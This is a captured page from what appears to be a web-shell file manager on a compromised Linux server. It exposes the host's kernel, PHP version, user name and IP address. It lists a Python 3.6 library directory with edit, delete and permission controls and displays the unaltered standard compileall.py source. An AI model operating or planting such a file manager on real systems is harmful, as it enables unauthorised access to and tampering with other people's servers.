[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib64
/
python3.6
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 __pycache__
SET
[ DEL ]
📁 asyncio
SET
[ DEL ]
📁 collections
SET
[ DEL ]
📁 concurrent
SET
[ DEL ]
📁 config-3.6m-x86_64-linux-gnu
SET
[ DEL ]
📁 ctypes
SET
[ DEL ]
📁 curses
SET
[ DEL ]
📁 dbm
SET
[ DEL ]
📁 distutils
SET
[ DEL ]
📁 email
SET
[ DEL ]
📁 encodings
SET
[ DEL ]
📁 ensurepip
SET
[ DEL ]
📁 html
SET
[ DEL ]
📁 http
SET
[ DEL ]
📁 importlib
SET
[ DEL ]
📁 json
SET
[ DEL ]
📁 lib-dynload
SET
[ DEL ]
📁 lib2to3
SET
[ DEL ]
📁 logging
SET
[ DEL ]
📁 multiprocessing
SET
[ DEL ]
📁 pydoc_data
SET
[ DEL ]
📁 site-packages
SET
[ DEL ]
📁 sqlite3
SET
[ DEL ]
📁 test
SET
[ DEL ]
📁 unittest
SET
[ DEL ]
📁 urllib
SET
[ DEL ]
📁 venv
SET
[ DEL ]
📁 wsgiref
SET
[ DEL ]
📁 xml
SET
[ DEL ]
📁 xmlrpc
SET
[ DEL ]
📄 __future__.py
4,841 B
SET
[ EDIT ]
|
[ DEL ]
📄 __phello__.foo.py
64 B
SET
[ EDIT ]
|
[ DEL ]
📄 _bootlocale.py
1,301 B
SET
[ EDIT ]
|
[ DEL ]
📄 _collections_abc.py
26,392 B
SET
[ EDIT ]
|
[ DEL ]
📄 _compat_pickle.py
8,749 B
SET
[ EDIT ]
|
[ DEL ]
📄 _compression.py
5,340 B
SET
[ EDIT ]
|
[ DEL ]
📄 _dummy_thread.py
5,118 B
SET
[ EDIT ]
|
[ DEL ]
📄 _markupbase.py
14,598 B
SET
[ EDIT ]
|
[ DEL ]
📄 _osx_support.py
19,138 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pydecimal.py
230,228 B
SET
[ EDIT ]
|
[ DEL ]
📄 _pyio.py
88,097 B
SET
[ EDIT ]
|
[ DEL ]
📄 _sitebuiltins.py
3,115 B
SET
[ EDIT ]
|
[ DEL ]
📄 _strptime.py
24,747 B
SET
[ EDIT ]
|
[ DEL ]
📄 _sysconfigdata_dm_linux_x86_64-linux-gnu.py
30,191 B
SET
[ EDIT ]
|
[ DEL ]
📄 _sysconfigdata_m_linux_x86_64-linux-gnu.py
30,367 B
SET
[ EDIT ]
|
[ DEL ]
📄 _threading_local.py
7,214 B
SET
[ EDIT ]
|
[ DEL ]
📄 _weakrefset.py
5,705 B
SET
[ EDIT ]
|
[ DEL ]
📄 abc.py
8,727 B
SET
[ EDIT ]
|
[ DEL ]
📄 aifc.py
32,454 B
SET
[ EDIT ]
|
[ DEL ]
📄 antigravity.py
477 B
SET
[ EDIT ]
|
[ DEL ]
📄 argparse.py
90,372 B
SET
[ EDIT ]
|
[ DEL ]
📄 ast.py
12,166 B
SET
[ EDIT ]
|
[ DEL ]
📄 asynchat.py
11,328 B
SET
[ EDIT ]
|
[ DEL ]
📄 asyncore.py
20,159 B
SET
[ EDIT ]
|
[ DEL ]
📄 base64.py
20,388 B
SET
[ EDIT ]
|
[ DEL ]
📄 bdb.py
23,556 B
SET
[ EDIT ]
|
[ DEL ]
📄 binhex.py
13,954 B
SET
[ EDIT ]
|
[ DEL ]
📄 bisect.py
2,595 B
SET
[ EDIT ]
|
[ DEL ]
📄 bz2.py
12,478 B
SET
[ EDIT ]
|
[ DEL ]
📄 cProfile.py
5,380 B
SET
[ EDIT ]
|
[ DEL ]
📄 calendar.py
23,213 B
SET
[ EDIT ]
|
[ DEL ]
📄 cgi.py
37,219 B
SET
[ EDIT ]
|
[ DEL ]
📄 cgitb.py
12,018 B
SET
[ EDIT ]
|
[ DEL ]
📄 chunk.py
5,425 B
SET
[ EDIT ]
|
[ DEL ]
📄 cmd.py
14,860 B
SET
[ EDIT ]
|
[ DEL ]
📄 code.py
10,614 B
SET
[ EDIT ]
|
[ DEL ]
📄 codecs.py
36,276 B
SET
[ EDIT ]
|
[ DEL ]
📄 codeop.py
5,994 B
SET
[ EDIT ]
|
[ DEL ]
📄 colorsys.py
4,064 B
SET
[ EDIT ]
|
[ DEL ]
📄 compileall.py
12,125 B
SET
[ EDIT ]
|
[ DEL ]
📄 configparser.py
53,592 B
SET
[ EDIT ]
|
[ DEL ]
📄 contextlib.py
13,162 B
SET
[ EDIT ]
|
[ DEL ]
📄 copy.py
8,815 B
SET
[ EDIT ]
|
[ DEL ]
📄 copyreg.py
7,007 B
SET
[ EDIT ]
|
[ DEL ]
📄 crypt.py
1,864 B
SET
[ EDIT ]
|
[ DEL ]
📄 csv.py
16,180 B
SET
[ EDIT ]
|
[ DEL ]
📄 datetime.py
82,034 B
SET
[ EDIT ]
|
[ DEL ]
📄 decimal.py
320 B
SET
[ EDIT ]
|
[ DEL ]
📄 difflib.py
84,377 B
SET
[ EDIT ]
|
[ DEL ]
📄 dis.py
18,132 B
SET
[ EDIT ]
|
[ DEL ]
📄 doctest.py
104,391 B
SET
[ EDIT ]
|
[ DEL ]
📄 dummy_threading.py
2,815 B
SET
[ EDIT ]
|
[ DEL ]
📄 enum.py
33,606 B
SET
[ EDIT ]
|
[ DEL ]
📄 filecmp.py
9,830 B
SET
[ EDIT ]
|
[ DEL ]
📄 fileinput.py
14,471 B
SET
[ EDIT ]
|
[ DEL ]
📄 fnmatch.py
3,166 B
SET
[ EDIT ]
|
[ DEL ]
📄 formatter.py
15,143 B
SET
[ EDIT ]
|
[ DEL ]
📄 fractions.py
23,639 B
SET
[ EDIT ]
|
[ DEL ]
📄 ftplib.py
35,617 B
SET
[ EDIT ]
|
[ DEL ]
📄 functools.py
31,346 B
SET
[ EDIT ]
|
[ DEL ]
📄 genericpath.py
5,028 B
SET
[ EDIT ]
|
[ DEL ]
📄 getopt.py
7,489 B
SET
[ EDIT ]
|
[ DEL ]
📄 getpass.py
5,994 B
SET
[ EDIT ]
|
[ DEL ]
📄 gettext.py
21,530 B
SET
[ EDIT ]
|
[ DEL ]
📄 glob.py
5,638 B
SET
[ EDIT ]
|
[ DEL ]
📄 gzip.py
20,334 B
SET
[ EDIT ]
|
[ DEL ]
📄 hashlib.py
8,799 B
SET
[ EDIT ]
|
[ DEL ]
📄 heapq.py
22,929 B
SET
[ EDIT ]
|
[ DEL ]
📄 hmac.py
6,381 B
SET
[ EDIT ]
|
[ DEL ]
📄 imaplib.py
53,464 B
SET
[ EDIT ]
|
[ DEL ]
📄 imghdr.py
3,795 B
SET
[ EDIT ]
|
[ DEL ]
📄 imp.py
10,669 B
SET
[ EDIT ]
|
[ DEL ]
📄 inspect.py
116,958 B
SET
[ EDIT ]
|
[ DEL ]
📄 io.py
3,517 B
SET
[ EDIT ]
|
[ DEL ]
📄 ipaddress.py
77,818 B
SET
[ EDIT ]
|
[ DEL ]
📄 keyword.py
2,219 B
SET
[ EDIT ]
|
[ DEL ]
📄 linecache.py
5,312 B
SET
[ EDIT ]
|
[ DEL ]
📄 locale.py
77,300 B
SET
[ EDIT ]
|
[ DEL ]
📄 lzma.py
12,983 B
SET
[ EDIT ]
|
[ DEL ]
📄 macpath.py
5,971 B
SET
[ EDIT ]
|
[ DEL ]
📄 macurl2path.py
2,732 B
SET
[ EDIT ]
|
[ DEL ]
📄 mailbox.py
78,624 B
SET
[ EDIT ]
|
[ DEL ]
📄 mailcap.py
9,067 B
SET
[ EDIT ]
|
[ DEL ]
📄 mimetypes.py
21,042 B
SET
[ EDIT ]
|
[ DEL ]
📄 modulefinder.py
23,027 B
SET
[ EDIT ]
|
[ DEL ]
📄 netrc.py
5,684 B
SET
[ EDIT ]
|
[ DEL ]
📄 nntplib.py
43,078 B
SET
[ EDIT ]
|
[ DEL ]
📄 ntpath.py
23,094 B
SET
[ EDIT ]
|
[ DEL ]
📄 nturl2path.py
2,444 B
SET
[ EDIT ]
|
[ DEL ]
📄 numbers.py
10,243 B
SET
[ EDIT ]
|
[ DEL ]
📄 opcode.py
5,822 B
SET
[ EDIT ]
|
[ DEL ]
📄 operator.py
10,863 B
SET
[ EDIT ]
|
[ DEL ]
📄 optparse.py
60,371 B
SET
[ EDIT ]
|
[ DEL ]
📄 os.py
37,526 B
SET
[ EDIT ]
|
[ DEL ]
📄 pathlib.py
46,238 B
SET
[ EDIT ]
|
[ DEL ]
📄 pdb.py
61,320 B
SET
[ EDIT ]
|
[ DEL ]
📄 pickle.py
55,691 B
SET
[ EDIT ]
|
[ DEL ]
📄 pickletools.py
91,775 B
SET
[ EDIT ]
|
[ DEL ]
📄 pipes.py
8,916 B
SET
[ EDIT ]
|
[ DEL ]
📄 pkgutil.py
21,315 B
SET
[ EDIT ]
|
[ DEL ]
📄 platform.py
47,214 B
SET
[ EDIT ]
|
[ DEL ]
📄 plistlib.py
32,291 B
SET
[ EDIT ]
|
[ DEL ]
📄 poplib.py
15,087 B
SET
[ EDIT ]
|
[ DEL ]
📄 posixpath.py
16,324 B
SET
[ EDIT ]
|
[ DEL ]
📄 pprint.py
20,860 B
SET
[ EDIT ]
|
[ DEL ]
📄 profile.py
22,029 B
SET
[ EDIT ]
|
[ DEL ]
📄 pstats.py
26,564 B
SET
[ EDIT ]
|
[ DEL ]
📄 pty.py
4,763 B
SET
[ EDIT ]
|
[ DEL ]
📄 py_compile.py
7,181 B
SET
[ EDIT ]
|
[ DEL ]
📄 pyclbr.py
13,558 B
SET
[ EDIT ]
|
[ DEL ]
📄 pydoc.py
103,501 B
SET
[ EDIT ]
|
[ DEL ]
📄 queue.py
8,780 B
SET
[ EDIT ]
|
[ DEL ]
📄 quopri.py
7,262 B
SET
[ EDIT ]
|
[ DEL ]
📄 random.py
27,442 B
SET
[ EDIT ]
|
[ DEL ]
📄 re.py
15,552 B
SET
[ EDIT ]
|
[ DEL ]
📄 reprlib.py
5,336 B
SET
[ EDIT ]
|
[ DEL ]
📄 rlcompleter.py
7,097 B
SET
[ EDIT ]
|
[ DEL ]
📄 runpy.py
11,959 B
SET
[ EDIT ]
|
[ DEL ]
📄 sched.py
6,511 B
SET
[ EDIT ]
|
[ DEL ]
📄 secrets.py
2,038 B
SET
[ EDIT ]
|
[ DEL ]
📄 selectors.py
19,438 B
SET
[ EDIT ]
|
[ DEL ]
📄 shelve.py
8,515 B
SET
[ EDIT ]
|
[ DEL ]
📄 shlex.py
12,956 B
SET
[ EDIT ]
|
[ DEL ]
📄 shutil.py
40,829 B
SET
[ EDIT ]
|
[ DEL ]
📄 signal.py
2,123 B
SET
[ EDIT ]
|
[ DEL ]
📄 site.py
21,268 B
SET
[ EDIT ]
|
[ DEL ]
📄 smtpd.py
34,719 B
SET
[ EDIT ]
|
[ DEL ]
📄 smtplib.py
44,218 B
SET
[ EDIT ]
|
[ DEL ]
📄 sndhdr.py
7,088 B
SET
[ EDIT ]
|
[ DEL ]
📄 socket.py
27,443 B
SET
[ EDIT ]
|
[ DEL ]
📄 socketserver.py
27,010 B
SET
[ EDIT ]
|
[ DEL ]
📄 sre_compile.py
19,338 B
SET
[ EDIT ]
|
[ DEL ]
📄 sre_constants.py
6,821 B
SET
[ EDIT ]
|
[ DEL ]
📄 sre_parse.py
36,536 B
SET
[ EDIT ]
|
[ DEL ]
📄 ssl.py
44,509 B
SET
[ EDIT ]
|
[ DEL ]
📄 stat.py
5,038 B
SET
[ EDIT ]
|
[ DEL ]
📄 statistics.py
20,673 B
SET
[ EDIT ]
|
[ DEL ]
📄 string.py
11,795 B
SET
[ EDIT ]
|
[ DEL ]
📄 stringprep.py
12,917 B
SET
[ EDIT ]
|
[ DEL ]
📄 struct.py
257 B
SET
[ EDIT ]
|
[ DEL ]
📄 subprocess.py
62,339 B
SET
[ EDIT ]
|
[ DEL ]
📄 sunau.py
18,095 B
SET
[ EDIT ]
|
[ DEL ]
📄 symbol.py
2,119 B
SET
[ EDIT ]
|
[ DEL ]
📄 symtable.py
7,277 B
SET
[ EDIT ]
|
[ DEL ]
📄 sysconfig.py
24,876 B
SET
[ EDIT ]
|
[ DEL ]
📄 tabnanny.py
11,411 B
SET
[ EDIT ]
|
[ DEL ]
📄 tarfile.py
111,635 B
SET
[ EDIT ]
|
[ DEL ]
📄 telnetlib.py
23,136 B
SET
[ EDIT ]
|
[ DEL ]
📄 tempfile.py
28,066 B
SET
[ EDIT ]
|
[ DEL ]
📄 textwrap.py
19,558 B
SET
[ EDIT ]
|
[ DEL ]
📄 this.py
1,003 B
SET
[ EDIT ]
|
[ DEL ]
📄 threading.py
50,136 B
SET
[ EDIT ]
|
[ DEL ]
📄 timeit.py
13,342 B
SET
[ EDIT ]
|
[ DEL ]
📄 token.py
3,075 B
SET
[ EDIT ]
|
[ DEL ]
📄 tokenize.py
29,496 B
SET
[ EDIT ]
|
[ DEL ]
📄 trace.py
28,733 B
SET
[ EDIT ]
|
[ DEL ]
📄 traceback.py
23,458 B
SET
[ EDIT ]
|
[ DEL ]
📄 tracemalloc.py
16,658 B
SET
[ EDIT ]
|
[ DEL ]
📄 tty.py
879 B
SET
[ EDIT ]
|
[ DEL ]
📄 types.py
8,870 B
SET
[ EDIT ]
|
[ DEL ]
📄 typing.py
80,274 B
SET
[ EDIT ]
|
[ DEL ]
📄 uu.py
6,763 B
SET
[ EDIT ]
|
[ DEL ]
📄 uuid.py
24,020 B
SET
[ EDIT ]
|
[ DEL ]
📄 warnings.py
18,488 B
SET
[ EDIT ]
|
[ DEL ]
📄 wave.py
17,709 B
SET
[ EDIT ]
|
[ DEL ]
📄 weakref.py
20,466 B
SET
[ EDIT ]
|
[ DEL ]
📄 webbrowser.py
22,238 B
SET
[ EDIT ]
|
[ DEL ]
📄 xdrlib.py
5,913 B
SET
[ EDIT ]
|
[ DEL ]
📄 zipapp.py
7,157 B
SET
[ EDIT ]
|
[ DEL ]
📄 zipfile.py
79,924 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: compileall.py
"""Module/script to byte-compile all .py files to .pyc files. When called as a script with arguments, this compiles the directories given as arguments recursively; the -l option prevents it from recursing into directories. Without arguments, if compiles all modules on sys.path, without recursing into subdirectories. (Even though it should do so for packages -- for now, you'll have to deal with packages separately.) See module py_compile for details of the actual byte-compilation. """ import os import sys import importlib.util import py_compile import struct from functools import partial __all__ = ["compile_dir","compile_file","compile_path"] def _walk_dir(dir, ddir=None, maxlevels=10, quiet=0): if quiet < 2 and isinstance(dir, os.PathLike): dir = os.fspath(dir) if not quiet: print('Listing {!r}...'.format(dir)) try: names = os.listdir(dir) except OSError: if quiet < 2: print("Can't list {!r}".format(dir)) names = [] names.sort() for name in names: if name == '__pycache__': continue fullname = os.path.join(dir, name) if ddir is not None: dfile = os.path.join(ddir, name) else: dfile = None if not os.path.isdir(fullname): yield fullname elif (maxlevels > 0 and name != os.curdir and name != os.pardir and os.path.isdir(fullname) and not os.path.islink(fullname)): yield from _walk_dir(fullname, ddir=dfile, maxlevels=maxlevels - 1, quiet=quiet) def compile_dir(dir, maxlevels=10, ddir=None, force=False, rx=None, quiet=0, legacy=False, optimize=-1, workers=1): """Byte-compile all modules in the given directory tree. Arguments (only dir is required): dir: the directory to byte-compile maxlevels: maximum recursion level (default 10) ddir: the directory that will be prepended to the path to the file as it is compiled into each byte-code file. force: if True, force compilation, even if timestamps are up-to-date quiet: full output with False or 0, errors only with 1, no output with 2 legacy: if True, produce legacy pyc paths instead of PEP 3147 paths optimize: optimization level or -1 for level of the interpreter workers: maximum number of parallel workers """ ProcessPoolExecutor = None if workers is not None: if workers < 0: raise ValueError('workers must be greater or equal to 0') elif workers != 1: try: # Only import when needed, as low resource platforms may # fail to import it from concurrent.futures import ProcessPoolExecutor except ImportError: workers = 1 files = _walk_dir(dir, quiet=quiet, maxlevels=maxlevels, ddir=ddir) success = True if workers is not None and workers != 1 and ProcessPoolExecutor is not None: workers = workers or None with ProcessPoolExecutor(max_workers=workers) as executor: results = executor.map(partial(compile_file, ddir=ddir, force=force, rx=rx, quiet=quiet, legacy=legacy, optimize=optimize), files) success = min(results, default=True) else: for file in files: if not compile_file(file, ddir, force, rx, quiet, legacy, optimize): success = False return success def compile_file(fullname, ddir=None, force=False, rx=None, quiet=0, legacy=False, optimize=-1): """Byte-compile one file. Arguments (only fullname is required): fullname: the file to byte-compile ddir: if given, the directory name compiled in to the byte-code file. force: if True, force compilation, even if timestamps are up-to-date quiet: full output with False or 0, errors only with 1, no output with 2 legacy: if True, produce legacy pyc paths instead of PEP 3147 paths optimize: optimization level or -1 for level of the interpreter """ success = True if quiet < 2 and isinstance(fullname, os.PathLike): fullname = os.fspath(fullname) name = os.path.basename(fullname) if ddir is not None: dfile = os.path.join(ddir, name) else: dfile = None if rx is not None: mo = rx.search(fullname) if mo: return success if os.path.isfile(fullname): if legacy: cfile = fullname + 'c' else: if optimize >= 0: opt = optimize if optimize >= 1 else '' cfile = importlib.util.cache_from_source( fullname, optimization=opt) else: cfile = importlib.util.cache_from_source(fullname) cache_dir = os.path.dirname(cfile) head, tail = name[:-3], name[-3:] if tail == '.py': if not force: try: mtime = int(os.stat(fullname).st_mtime) expect = struct.pack('<4sl', importlib.util.MAGIC_NUMBER, mtime) with open(cfile, 'rb') as chandle: actual = chandle.read(8) if expect == actual: return success except OSError: pass if not quiet: print('Compiling {!r}...'.format(fullname)) try: ok = py_compile.compile(fullname, cfile, dfile, True, optimize=optimize) except py_compile.PyCompileError as err: success = False if quiet >= 2: return success elif quiet: print('*** Error compiling {!r}...'.format(fullname)) else: print('*** ', end='') # escape non-printable characters in msg msg = err.msg.encode(sys.stdout.encoding, errors='backslashreplace') msg = msg.decode(sys.stdout.encoding) print(msg) except (SyntaxError, UnicodeError, OSError) as e: success = False if quiet >= 2: return success elif quiet: print('*** Error compiling {!r}...'.format(fullname)) else: print('*** ', end='') print(e.__class__.__name__ + ':', e) else: if ok == 0: success = False return success def compile_path(skip_curdir=1, maxlevels=0, force=False, quiet=0, legacy=False, optimize=-1): """Byte-compile all module on sys.path. Arguments (all optional): skip_curdir: if true, skip current directory (default True) maxlevels: max recursion level (default 0) force: as for compile_dir() (default False) quiet: as for compile_dir() (default 0) legacy: as for compile_dir() (default False) optimize: as for compile_dir() (default -1) """ success = True for dir in sys.path: if (not dir or dir == os.curdir) and skip_curdir: if quiet < 2: print('Skipping current directory') else: success = success and compile_dir(dir, maxlevels, None, force, quiet=quiet, legacy=legacy, optimize=optimize) return success def main(): """Script main program.""" import argparse parser = argparse.ArgumentParser( description='Utilities to support installing Python libraries.') parser.add_argument('-l', action='store_const', const=0, default=10, dest='maxlevels', help="don't recurse into subdirectories") parser.add_argument('-r', type=int, dest='recursion', help=('control the maximum recursion level. ' 'if `-l` and `-r` options are specified, ' 'then `-r` takes precedence.')) parser.add_argument('-f', action='store_true', dest='force', help='force rebuild even if timestamps are up to date') parser.add_argument('-q', action='count', dest='quiet', default=0, help='output only error messages; -qq will suppress ' 'the error messages as well.') parser.add_argument('-b', action='store_true', dest='legacy', help='use legacy (pre-PEP3147) compiled file locations') parser.add_argument('-d', metavar='DESTDIR', dest='ddir', default=None, help=('directory to prepend to file paths for use in ' 'compile-time tracebacks and in runtime ' 'tracebacks in cases where the source file is ' 'unavailable')) parser.add_argument('-x', metavar='REGEXP', dest='rx', default=None, help=('skip files matching the regular expression; ' 'the regexp is searched for in the full path ' 'of each file considered for compilation')) parser.add_argument('-i', metavar='FILE', dest='flist', help=('add all the files and directories listed in ' 'FILE to the list considered for compilation; ' 'if "-", names are read from stdin')) parser.add_argument('compile_dest', metavar='FILE|DIR', nargs='*', help=('zero or more file and directory names ' 'to compile; if no arguments given, defaults ' 'to the equivalent of -l sys.path')) parser.add_argument('-j', '--workers', default=1, type=int, help='Run compileall concurrently') args = parser.parse_args() compile_dests = args.compile_dest if args.rx: import re args.rx = re.compile(args.rx) if args.recursion is not None: maxlevels = args.recursion else: maxlevels = args.maxlevels # if flist is provided then load it if args.flist: try: with (sys.stdin if args.flist=='-' else open(args.flist)) as f: for line in f: compile_dests.append(line.strip()) except OSError: if args.quiet < 2: print("Error reading file list {}".format(args.flist)) return False if args.workers is not None: args.workers = args.workers or None success = True try: if compile_dests: for dest in compile_dests: if os.path.isfile(dest): if not compile_file(dest, args.ddir, args.force, args.rx, args.quiet, args.legacy): success = False else: if not compile_dir(dest, maxlevels, args.ddir, args.force, args.rx, args.quiet, args.legacy, workers=args.workers): success = False return success else: return compile_path(legacy=args.legacy, force=args.force, quiet=args.quiet) except KeyboardInterrupt: if args.quiet < 2: print("\n[interrupted]") return False return True if __name__ == '__main__': exit_status = int(not main()) sys.exit(exit_status)